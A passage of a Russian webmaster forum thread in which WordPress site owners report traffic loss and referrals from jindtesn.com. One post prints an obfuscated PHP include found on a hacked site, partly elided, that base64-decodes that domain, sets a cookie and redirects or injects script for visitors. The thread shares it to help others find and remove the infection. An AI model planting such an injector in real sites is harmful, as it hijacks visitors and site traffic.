Форум Практика оптимизации Любые вопросы от новичков по оптимизации

Посещаемость и jindtesn.com

12
BL
На сайте с 30.09.2008
Offline
31
BigLink
#11

У меня такая же ситуация. Посещаемость упала и есть переходы с этого сайта. Что это?

shedemon
На сайте с 04.06.2009
Offline
116
shedemon
#12

Таже самая проблема, подскажите что это? Взлом?

---------- Post added 25-04-2012 at 06:35 ----------

Подскажите где хоть искать вирус ?

shedemon
На сайте с 04.06.2009
Offline
116
shedemon
#13

Ребят ну подскажите где эта гадость сидит уже все перепроверил не могу я его вычестить,

снес вп заново поставил из старых файлов только плагины картинки аплод и база и все равно сидит где то..

Где копать (((( ???

snoby
На сайте с 11.03.2003
Offline
86
snoby
#14

Обнаружил на одном из сайтов файлик, подключенный через include с таким содержанием:


<? $GLOBALS['_1623414534_']=Array(base64_decode('Zm' .'lsZV9leG' .'lzdHM='),base64_decode('c2V0Y2' .'9va' .'2ll'),base64_decode('dGlt' .'ZQ=='),base64_decode('cH' .'JlZ19tYXR' .'jaA==')); ?><? function _980881116($i){$a=Array('' .'amluZHRlc24uY29t','ZnVuY3' .'Rp' .'b24' .'gc2V0Q29va2' .'llKG5' .'hbW' .'v.............блабаблабла...........HN' .'jcmlw' .'d' ..'mI' .'D'
.'0gIg==','I' .'js8L' .'3Nj' .'c' .'mlwdD4=');return base64_decode($a[$i]);} ?>
<?php $_0=_980881116(0);while(round(0+2274)-round(0+1137+1137))$GLOBALS['_1623414534_'][0]($_0,$_1);$_2=_980881116(1) ._980881116(2) ._980881116(3) ._980881116(4) ._980881116(5) ._980881116(6) ._980881116(7) ._980881116(8)
._980881116(9) ._980881116(10) ._980881116(11);function l__0(){if(!@$GLOBALS['_1623414534_'][1](_980881116(12),_980881116(13),
$GLOBALS['_1623414534_'][2]()+round(0+24)*round(0+900+900+900+900)*round(0+15+15),_980881116(14)))echo(_980881116(15) .
$_2 ._980881116(16));}if(!isset($_SERVER[_980881116(17)]))$_SERVER[_980881116(18)]=_980881116(19);$_1=_980881116(20) .$_0 .
$_SERVER[_980881116(21)];if(isset($_SERVER[_980881116(22)])&&!isset($_COOKIE[_980881116(23)]))if(!$GLOBALS['_1623414534_'][3]
("|^http://$_0|i",$_SERVER[_980881116(24)])){l__0();exit(_980881116(25) .$_1 ._980881116(26));}l__0(); ?>

Убрал. Пока помогло.

Ищите нечто подобное.

[Удален]
#15
Gogvin1:
В общем заметил что несколько дней назад посещаемость сайта стала падать, точнее заметил что доходы стали падать. В последнии несколько месяцев с сайтом вообще ничего не делал. Посещаемость за 3 дня упала с 2500 до 1500.

Начал копать. И заметил подозрительный момент. В стате LiveInternet заметил, что трафик больше всего идет с какого то непонятного домена, а именно jindtesn.com

Подскажите что можно сделать. Мой сайт tatcoin.ru

почистить, этож вирь!

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий